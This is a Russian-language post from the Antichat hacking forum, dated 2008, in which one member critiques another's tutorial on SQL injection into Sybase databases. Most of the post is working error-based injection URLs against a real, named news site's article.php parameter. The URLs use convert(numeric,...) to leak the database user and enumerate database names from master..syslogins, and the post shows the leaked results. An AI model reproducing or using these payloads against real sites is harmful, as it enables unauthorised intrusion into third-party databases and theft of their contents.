Показать сообщение отдельно

  #7  
Старый 10.08.2008, 18:19
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от ~!DoK_tOR!~  
Рассмотрим на конкретном примере
Конструктивная критика

Вывод версии, это конечно круто, но и он идёт в твоём примере через and
А ты в начале статьи писал о работе с оператором Union
Я бы хотел что-бы ты показал пример работы с ним

Дело в том, что в Sybase как и в MSSQL достаточно бредовая затея работать с оператором UNION(ИМХО)
И если ты его описываешь, то покажи пример рабочего запроса,что-бы люди видели как это

Вот нормальная работа с базой Sybase: Описана Scipio сдесь:
http://forum.antichat.ru/showpost.php?p=626114&postcount=5170

В примере приведённом тобой это выглядит так:
Юзер:
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(user_name ()))--
webuser

http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))--
wwwstat
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174,0x7765626462)))
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))
wwwstat
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174)))
webdb
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174,0x7765626462)))
vm
и т.д.
Вывод идёт из master..syslogins, ты пишешь
Цитата:
Сообщение от ~!DoK_tOR!~  
пониаешь имена пользователей могу хранится в табличке syslogins так и в master..syslogins
пробуем:
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+syslogins))
Ошибка
Опять-же, либо объясни, либо исправь

Далее, комментарий /*
Цитата:
Сообщение от ~!DoK_tOR!~  
Цитата:
Сообщение от jokester  
T-SQL помоему не поддерживает /*
поддерживает.
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))/*
Ошибка, почему??

Ну и повторюсь, покажи работу union

Последний раз редактировалось jokester; 07.10.2008 в 12:14..